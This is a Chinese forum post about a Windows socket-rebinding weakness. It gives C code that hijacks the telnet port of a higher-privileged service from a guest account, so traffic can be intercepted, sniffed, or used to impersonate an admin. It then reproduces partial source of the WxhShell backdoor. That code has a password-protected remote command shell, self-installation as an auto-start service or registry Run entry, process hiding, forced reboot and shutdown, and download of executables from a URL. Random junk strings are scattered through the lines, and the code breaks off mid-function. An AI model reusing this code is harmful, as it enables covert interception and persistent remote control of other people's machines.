社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19748阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LF*3Iw|v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fIWQ+E  
%>5Ht e<  
  saddr.sin_family = AF_INET; = eTI@pN`  
+`.%aJIi9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k= nfo-h  
`C_#EU-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 98o;_tU'  
{&w%3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "Z}0A/y  
 6~$ <  
  这意味着什么?意味着可以进行如下的攻击: I%{^i d@  
Me5umA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pgye{{  
;@v7AF6Hq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *M- .Vor?R  
owYfrf3ZLX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >Z<ym|(T*  
|mY<TWoX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Nk}Hvg*(  
'#u2q=n4*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bis/Nfr]  
iWQBo>x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E3NYUHfZ  
K<Ct  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [h8F)  
vlzjALy  
  #include _2f}WY3S  
  #include 8a. |CgI#h  
  #include _mXq]r0  
  #include    =CRaMjN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h/-7;Csv  
  int main() !dVcnK1  
  { ]~kqPw<R  
  WORD wVersionRequested; b39;Sv|#  
  DWORD ret; >k_Z]J6Pd  
  WSADATA wsaData; D|9B1>A,m  
  BOOL val; u b4(mS  
  SOCKADDR_IN saddr; Y5ebpw+B-  
  SOCKADDR_IN scaddr; pok,`yW\  
  int err; *;"^b\f5_  
  SOCKET s; 0#Rj[J;kh  
  SOCKET sc; zS?i@e $  
  int caddsize; rhNdXYY>  
  HANDLE mt; K=`*cSU>  
  DWORD tid;   PMXnupt  
  wVersionRequested = MAKEWORD( 2, 2 ); {} vl^b  
  err = WSAStartup( wVersionRequested, &wsaData ); #c/v2  
  if ( err != 0 ) { \4zvknk<  
  printf("error!WSAStartup failed!\n"); r]0o  
  return -1; ;}|.crMF  
  } aoF>{Z4&B  
  saddr.sin_family = AF_INET; 8Bhot,u'T  
   s8eiq`6\H}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 36Wuc@<H  
F)DL/';  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H@aCo(#  
  saddr.sin_port = htons(23); UxzwgVT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]e?*7T]  
  { bmT  J  
  printf("error!socket failed!\n"); mO> [kb"V'  
  return -1; H~Q UN  
  } IFpmf0;^  
  val = TRUE; :VLuI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rD$7;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mjs*Z{_F^  
  { i Cv &<C@  
  printf("error!setsockopt failed!\n"); 66Hu<3X P  
  return -1; >|z=-hqPK  
  } #/1A:ig  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pR\etXeLd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \I'A:~b)L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _Q.3X[88C  
kAy.o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8 LaZ5  
  { *bv Iqa  
  ret=GetLastError(); L/<Up   
  printf("error!bind failed!\n"); ,FBF;zED  
  return -1; {-17;M $  
  } a-%^!pN\M  
  listen(s,2); hb? |fi  
  while(1) _MMz x2}  
  { - *yj[?6  
  caddsize = sizeof(scaddr); Iun!r v  
  //接受连接请求 *q8W;Wa L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +[~\\X  
  if(sc!=INVALID_SOCKET) 4S"K%2'O  
  { 2sittP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 06Uxd\E~  
  if(mt==NULL) ;iS}<TA  
  { zh50]tX  
  printf("Thread Creat Failed!\n"); wu 3uu1J  
  break; V TEyqo2  
  } Saz+GQ G  
  } #3/l4`/j  
  CloseHandle(mt); _f34p:B%s  
  } !+fHdB  
  closesocket(s); eh)J'G]G  
  WSACleanup(); <w2Nh eM 3  
  return 0; |<BTK_R  
  }   U*a!Gn7l  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ud{-H_m+  
  { luC',QJB  
  SOCKET ss = (SOCKET)lpParam; #UXmTrZ.  
  SOCKET sc; (<%i8xu 2  
  unsigned char buf[4096]; SAo"+%  
  SOCKADDR_IN saddr; Y{p *$  
  long num; AA05wpu8  
  DWORD val; \uanQ|Nu  
  DWORD ret; F7"Ihb^l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Gl1`Nx0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J`"1DlH  
  saddr.sin_family = AF_INET; dYr#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m+uh6IqN./  
  saddr.sin_port = htons(23); F ^E(AE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u)Y#&qA  
  { 9`09.`U9[  
  printf("error!socket failed!\n"); & 6}vvgz  
  return -1; u $sX6  
  } _=}Y lR  
  val = 100; H56e#:[$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ir}&|"~H  
  { _n{N3da  
  ret = GetLastError(); j83p[qR7o  
  return -1; G_AAE#r`  
  } possM'vC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5'z&kl0"S  
  { N8nyTPw  
  ret = GetLastError(); #Q$4EQB  
  return -1; {[Yv@CpN  
  } yY&(?6\{<<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3q1O:b^eo  
  { J-\b?R a  
  printf("error!socket connect failed!\n"); twO)b"0  
  closesocket(sc); _fa]2I  
  closesocket(ss); CZ&TUE|:DA  
  return -1; h+$_:](PC  
  } %F}`;>C3  
  while(1) ,:L}S03k  
  { N!Y'W)i16  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /pyKTZ|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FAQ:0 L$G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?T4%"0  
  num = recv(ss,buf,4096,0); r_2  
  if(num>0) YDQV,`S7  
  send(sc,buf,num,0);  /?_{DMt  
  else if(num==0) wT.V3G  
  break;  &`@Jy|N\  
  num = recv(sc,buf,4096,0); jR/X}XQtY  
  if(num>0) z%;\q$  
  send(ss,buf,num,0); {{<o1{_H  
  else if(num==0) 8D+OF 6CM  
  break; a)Wf* <B  
  } [e&$4l IS  
  closesocket(ss); slPFDBx  
  closesocket(sc); Pq_Il9  
  return 0 ; ;V%lFP3#  
  } f}+G;a9Nj  
sxsM%Gb?H  
5`z{A  
========================================================== ,cm2uY  
W)9KYI9u  
下边附上一个代码,,WXhSHELL {) .=G  
PD/~@OsxU  
========================================================== I&(cdKY z  
_nTjCN625  
#include "stdafx.h" $[|8bE  
hU4~`g p  
#include <stdio.h> ' bT9AV%  
#include <string.h> 8KAyif@1::  
#include <windows.h> gK%&VzG4  
#include <winsock2.h> S$$:G$j  
#include <winsvc.h> Cu|n?Uk  
#include <urlmon.h> 'wQ=b  
R=9j+74U  
#pragma comment (lib, "Ws2_32.lib") Jl9T[QAJn1  
#pragma comment (lib, "urlmon.lib") zJx<]=]  
-l,ib=ne  
#define MAX_USER   100 // 最大客户端连接数 ,-{j.  
#define BUF_SOCK   200 // sock buffer u_ Q3v9  
#define KEY_BUFF   255 // 输入 buffer lI5{]?'  
#2WBYScW0  
#define REBOOT     0   // 重启 Vy5Q+gw  
#define SHUTDOWN   1   // 关机 ~w$8*2D  
m _]"L  
#define DEF_PORT   5000 // 监听端口 z5i!GJB  
5w1=j\oq  
#define REG_LEN     16   // 注册表键长度 Ri-I+7(n!  
#define SVC_LEN     80   // NT服务名长度 o0<T|zgF5,  
d[o =  
// 从dll定义API >T(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2cmqtlW"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [&zP$i&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i "-#1vy=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RCmPZ  
wZOO#&X#r  
// wxhshell配置信息 10 p+e_@  
struct WSCFG { A+ f{j  
  int ws_port;         // 监听端口 *v 8 ]99N  
  char ws_passstr[REG_LEN]; // 口令 -J[D:P.Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no C'=C^X%  
  char ws_regname[REG_LEN]; // 注册表键名 ;pULJ}rDb  
  char ws_svcname[REG_LEN]; // 服务名 jn+0g:l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "`3H0il;<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W"2\vo)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .KB*u*h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :zZtZT!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e~-D k .i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TIvLY5 HG  
6}|vfw  
}; zY#U]Is  
^QnVYTM  
// default Wxhshell configuration {2q   
struct WSCFG wscfg={DEF_PORT, F.\]Hqq  
    "xuhuanlingzhe", ++kiCoC  
    1, F^a D!O ~  
    "Wxhshell", r1=Zoxc=w  
    "Wxhshell", ;=n7 Z  
            "WxhShell Service", JEP"2MN,  
    "Wrsky Windows CmdShell Service", fNK~z*  
    "Please Input Your Password: ", N..u<06j/  
  1, %V+,#  
  "http://www.wrsky.com/wxhshell.exe", Us%VB q  
  "Wxhshell.exe" :]//{HF  
    }; ~\oJrRYR`  
SS`\,%aog  
// 消息定义模块 [UI bO@e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZPMEN,Dw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d>aZpJ[.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v\HGL56T  
char *msg_ws_ext="\n\rExit."; a1}W2;W0]g  
char *msg_ws_end="\n\rQuit."; Z>D7C?v:(  
char *msg_ws_boot="\n\rReboot..."; 4,aBNuxWd  
char *msg_ws_poff="\n\rShutdown..."; PuOo^pFhH  
char *msg_ws_down="\n\rSave to "; {#;6$dU;(  
cX&c%~  
char *msg_ws_err="\n\rErr!"; vAVoFL  
char *msg_ws_ok="\n\rOK!"; (Q'XjN\#  
;wN.RPE_^  
char ExeFile[MAX_PATH]; +g.WO5A  
int nUser = 0;  c\x?k<=  
HANDLE handles[MAX_USER]; YJ"gm]Pm  
int OsIsNt; I@z{G r  
-~aVt~{k/  
SERVICE_STATUS       serviceStatus; 6 =kd4'yV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]c5Shj5|p  
;N j5NB7  
// 函数声明 $]T7Iwk  
int Install(void); u_[Zu8  
int Uninstall(void); 7v?Ygtv  
int DownloadFile(char *sURL, SOCKET wsh); 2GD%=rP2]  
int Boot(int flag); J[B8sa  
void HideProc(void); x x 'XR'zK  
int GetOsVer(void); t4<#k=  
int Wxhshell(SOCKET wsl); QHQj6]  
void TalkWithClient(void *cs); *|jqRfa"  
int CmdShell(SOCKET sock); "TxXrt%>A  
int StartFromService(void); RM`8P5i]sF  
int StartWxhshell(LPSTR lpCmdLine); 62zlO{ >rJ  
kO5KZ;+N-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7f(UbO@BD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }tJ:-!*2  
bVVa5? HP  
// 数据结构和表定义 ZWr\v!4  
SERVICE_TABLE_ENTRY DispatchTable[] = @4Y>)wn&;  
{ 1'd "O @  
{wscfg.ws_svcname, NTServiceMain}, 0? l  
{NULL, NULL} m2V4nxw]Qp  
}; jK{CjfCNz  
Na`qAj}  
// 自我安装 ^ ]B&7\w"t  
int Install(void) "W1q}4_  
{ =DqGm]tA  
  char svExeFile[MAX_PATH]; t,H,*2  
  HKEY key; cAL&>T  
  strcpy(svExeFile,ExeFile); m\VJ=  
3O]e  
// 如果是win9x系统,修改注册表设为自启动 N-NwGD{  
if(!OsIsNt) { )HU?7n.{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~\Ynih  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CtE".UlCA  
  RegCloseKey(key); zL_X?UmV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d~n+Ds)%F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6\]-J*e>  
  RegCloseKey(key); Pjx9@i  
  return 0; .*,Zh2eXU  
    } ;ndg,05_  
  } L%BWrmg  
} GY4yZa  
else { e;gf??8}  
P(Lwpa,S  
// 如果是NT以上系统,安装为系统服务 BY 1~\M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S#""((U$  
if (schSCManager!=0) CsE|pXVG  
{ hMDyE.X-  
  SC_HANDLE schService = CreateService D_8hn3FH  
  ( Jv7M[SJ#x  
  schSCManager, |Rl|Th  
  wscfg.ws_svcname, W]R5\ G*  
  wscfg.ws_svcdisp, gG $o8c-  
  SERVICE_ALL_ACCESS, R vY`9D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q2SkkY$_]y  
  SERVICE_AUTO_START, hqE#BnQxP,  
  SERVICE_ERROR_NORMAL, ;J`X0Vl$  
  svExeFile, GnLh qm"\  
  NULL, ^yb_aCw  
  NULL, XM)|v |  
  NULL, ,CvU#ab8$  
  NULL, `|v#x@s  
  NULL &"CS1P|  
  ); ck^Z,AKL+  
  if (schService!=0) 6Z'zB&hM}  
  { me9RnPe:  
  CloseServiceHandle(schService); )WzCUYE1/  
  CloseServiceHandle(schSCManager); ;1y\!f3#V~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z,NHH):~  
  strcat(svExeFile,wscfg.ws_svcname); wbpxJtJB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tC&y3!k2jR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X)|%[aX}q  
  RegCloseKey(key); o3`Z@-.G  
  return 0; q!7\`>.2:{  
    } T xN5K`q  
  } (+ >n/I6  
  CloseServiceHandle(schSCManager); 7eq;dNB@gq  
} . XY'l  
} $)uQ%/DH>  
jrW7AT)\  
return 1; jALo;PDJ  
} `q/y|/v<  
im?nR+t+X  
// 自我卸载 g)"6|Z?D"  
int Uninstall(void)  ,cB`j7p(  
{ D2hvf ^g'*  
  HKEY key; M,[ClQ 9  
dNyc|P`U  
if(!OsIsNt) { !7w-?1?D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H11Wb(6Wu  
  RegDeleteValue(key,wscfg.ws_regname); LRmO6>y  
  RegCloseKey(key); |n~v_V2.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6?Wsg`9  
  RegDeleteValue(key,wscfg.ws_regname); j9,X.?Xvx  
  RegCloseKey(key); |)lo<}{  
  return 0; Tu"yoF  
  } m760K*:i\  
} PF+`3  
} q8p 'bibY  
else { FqiK}K.~/  
J) (pGS@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B[*i}k%i  
if (schSCManager!=0) c9& 8kq5  
{ RXP"v-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4x3`dvfp/  
  if (schService!=0) Z`f _e?  
  { ^hgpeu   
  if(DeleteService(schService)!=0) { 9hq7:  
  CloseServiceHandle(schService); H#ihU3q  
  CloseServiceHandle(schSCManager); ;P{ *'@  
  return 0; 4bKZ@r%  
  } *zx;81X=  
  CloseServiceHandle(schService); v14[G@V~\  
  } x_Z~k  
  CloseServiceHandle(schSCManager); 6ZM<M7(V  
} @3G3l|~>  
} K>q,?x b  
$@<\$I2s  
return 1; U-Iwda8v  
} J|>P,x#G  
_Ih~'Y Fd  
// 从指定url下载文件 abK/!m[q  
int DownloadFile(char *sURL, SOCKET wsh) B^OhL!*tI  
{ leiza?[  
  HRESULT hr; b1^MX).vH  
char seps[]= "/"; <k)rfv7  
char *token; "#OmmU<U  
char *file; ]l\J"*"aB  
char myURL[MAX_PATH]; 4]g^aaQFd>  
char myFILE[MAX_PATH]; vz _U  
uo%zfi?  
strcpy(myURL,sURL); 9:m+mpL=9  
  token=strtok(myURL,seps); 6tJM*{$$H  
  while(token!=NULL) |_A35"v  
  { 1wq 6E  
    file=token; -}>Q0d)  
  token=strtok(NULL,seps); Z2ZS5a  
  } c2i^dNp_  
QTDI^ZeuF  
GetCurrentDirectory(MAX_PATH,myFILE); @Wv*`  
strcat(myFILE, "\\"); "kL5HD]TC  
strcat(myFILE, file); +Gjy%JFp  
  send(wsh,myFILE,strlen(myFILE),0); eC3ZK"oJ  
send(wsh,"...",3,0); }b{N[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1\3n   
  if(hr==S_OK) 7+z%O3k'I  
return 0; )i?wBxq'MA  
else Tc qqAc   
return 1; ?iq:Gf  
%@IR7v~  
} ZA# jw 8F  
SAqX[c  
// 系统电源模块 s5[ Cr"q7B  
int Boot(int flag) AKHi$Bk  
{ s*Fmu7o43  
  HANDLE hToken; 2yN~[, L  
  TOKEN_PRIVILEGES tkp; 68D.Li  
/1^%32c  
  if(OsIsNt) { [k.<x'#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v3[ 2!UXq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7N:,F9V<  
    tkp.PrivilegeCount = 1; #-{4 Jx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h  qxe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m=#2u4H4  
if(flag==REBOOT) { ptsi\ 7BG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tIRw"sz  
  return 0; i#eb%9Mn  
} j#Y8h5r  
else { HID;~Ne  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9iv!+(ni  
  return 0;  :${Lm&J  
} :0]KIybt  
  } vm Hf$rq  
  else { t n}9(Oa)  
if(flag==REBOOT) { vb$k/8JK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N (43+  
  return 0; @NNN&%  
} V43 |Ej}E  
else { u6D>^qF}@'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VbZZ=q=Kd  
  return 0; }?H|9OS  
} ('>!dXA$  
} h<}4mo_ $  
yYW>)  
return 1; {>syZZ,h  
} HtXzMSGo7  
$cYh X^YG.  
// win9x进程隐藏模块 |{Oe&j3|  
void HideProc(void) B>JRta;hj  
{ **oN/5  
"EA%!P:d,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d^,u"Z9P  
  if ( hKernel != NULL ) _RAPXU~ 6-  
  { b2ZKhS8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V RT| OUq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |J8c|h<  
    FreeLibrary(hKernel); 5I@< 6S&X  
  } vQ 5 p  
sqsBGFeG  
return; \`x$@s?  
} qi$6y?  
2r\ f!m'  
// 获取操作系统版本 %kyvt t  
int GetOsVer(void) uN'e~X6  
{ U t0oh  
  OSVERSIONINFO winfo; aLG6yVtu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %\CsP!  
  GetVersionEx(&winfo); P0|V1,)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c!j$ -Ovm  
  return 1; hX<0{pXM4  
  else S\mh{#Lpk  
  return 0; \|Us/_h  
} CGPPo;RjK  
RtN5\  
// 客户端句柄模块 ^ @sg{_.~l  
int Wxhshell(SOCKET wsl) =%p0r z|b  
{ s:6H^DQ"C  
  SOCKET wsh; )88z=5.  
  struct sockaddr_in client; 3g)pLW  
  DWORD myID; 7mt;qn?n  
#5=Yg5   
  while(nUser<MAX_USER) V) C4 sG  
{  \&"gCv#  
  int nSize=sizeof(client); U+URj <)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fgq#Oi}  
  if(wsh==INVALID_SOCKET) return 1; L`tr7EEr  
w8c71C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Y6=;*j$  
if(handles[nUser]==0) 7]62=p2R  
  closesocket(wsh); ]w"r4HlCx  
else [Jwo,?w  
  nUser++; ' 4ftclzL  
  } j$,:cN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qv|A^%Ub!  
7$Jb"s  
  return 0; R8sj>.I9j  
} 0M>+.}e+  
Ic P]EgB  
// 关闭 socket IyOb0WiEj  
void CloseIt(SOCKET wsh) 8.bdN]zn  
{  lEh;MJ  
closesocket(wsh); 4Un(}P'   
nUser--; S&q@M  
ExitThread(0); Mnc9l ^  
} b:SjJA,HM  
wL\OAM6R  
// 客户端请求句柄 "@#^/m)  
void TalkWithClient(void *cs) Rq|7$O5  
{ >;LXy  
M2l0x @|  
  SOCKET wsh=(SOCKET)cs; iP)`yB5`  
  char pwd[SVC_LEN]; il|e5TD^  
  char cmd[KEY_BUFF]; )w4i0Xw^C:  
char chr[1]; V9mqJRFJ:  
int i,j; \C#X Kk$OE  
\QGh@AQp"  
  while (nUser < MAX_USER) { Y{ijSOl3  
49W@?: b  
if(wscfg.ws_passstr) { yb\T< *  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sIJl9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dG2k4 O  
  //ZeroMemory(pwd,KEY_BUFF); Arc6d5Q  
      i=0; aA7}>  
  while(i<SVC_LEN) { yS'W ss  
K&3,J7&&  
  // 设置超时 P%2aOsD0  
  fd_set FdRead; 8iA[w-Pv  
  struct timeval TimeOut; }OL?k/w  
  FD_ZERO(&FdRead); f#f<Ii  
  FD_SET(wsh,&FdRead); C-u'Me)H  
  TimeOut.tv_sec=8; {<+B>6^  
  TimeOut.tv_usec=0; 0n<>X&X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y(^t&tgjS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +N n $  
_UI*W&*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xq$(=WPI  
  pwd=chr[0]; `ECY:3"$KA  
  if(chr[0]==0xd || chr[0]==0xa) { {%Cb0Zh  
  pwd=0; Vq-W|<7C=  
  break; <hkSbJF  
  } ]ie38tX$  
  i++; F#-mseKhc  
    } ",O |uL  
>8M=RE n4  
  // 如果是非法用户,关闭 socket [ ICFPY6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S#Q0aG j  
} JJe8x4  
!:Z lVIA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >-oB%T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KTtB!4by  
8L1 vt Yz  
while(1) { AS5' j  
2S,N9 (7  
  ZeroMemory(cmd,KEY_BUFF); R RRF/Z;))  
!B|Aq- n,  
      // 自动支持客户端 telnet标准   ;YN`E  
  j=0; ] MP*5U>;  
  while(j<KEY_BUFF) { . ,h>2;f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f.)z_RyGd  
  cmd[j]=chr[0]; Jt ++3]  
  if(chr[0]==0xa || chr[0]==0xd) { -d>2&)5  
  cmd[j]=0; `)y<X#[8  
  break; %B}<5iO  
  } >^:*x_a9  
  j++; WoV"&9y  
    } Z=ZTSl   
pmwVVUEQ  
  // 下载文件 = -bGH   
  if(strstr(cmd,"http://")) { )_C+\K*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'Dn\.x^]1  
  if(DownloadFile(cmd,wsh)) [J!jp& o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~F"<Nq  
  else a_Sp}s<J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FP=up#zl  
  } ,ArHS  
  else { qPQ6`rD\  
Nwwn #+  
    switch(cmd[0]) { )fy-]Ky *  
  r{>`"  
  // 帮助 f`<elWgc"  
  case '?': { 2x5^kN7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (n{x"rLy/  
    break; z`}z7e'>  
  } 6.Jvqn  
  // 安装 & zR\Rmpt  
  case 'i': { _sqj~|K  
    if(Install()) &L[i"1a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$}3=n34)  
    else Bo,>blspw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); whi#\>i  
    break; *O|_)G  
    } r1 axC%  
  // 卸载 tgyW:<iv  
  case 'r': { fZ aTckbE  
    if(Uninstall()) _lG|t6y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gU&y5s~  
    else k=W~ot &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]z#+3DaH  
    break; ]-j.\+(*  
    } oBO4a^D  
  // 显示 wxhshell 所在路径 9r. h^  
  case 'p': { PZ >(cvX&  
    char svExeFile[MAX_PATH]; **V8a-@  
    strcpy(svExeFile,"\n\r"); n!dXjInV  
      strcat(svExeFile,ExeFile); yJK:4af;.  
        send(wsh,svExeFile,strlen(svExeFile),0); R 7h^ @  
    break; a,|Hn  
    } I q?n*P$  
  // 重启 9])Id;+91  
  case 'b': { ,<=gPs;x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )2 lB  
    if(Boot(REBOOT)) $l $p|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $d-$dM?R5  
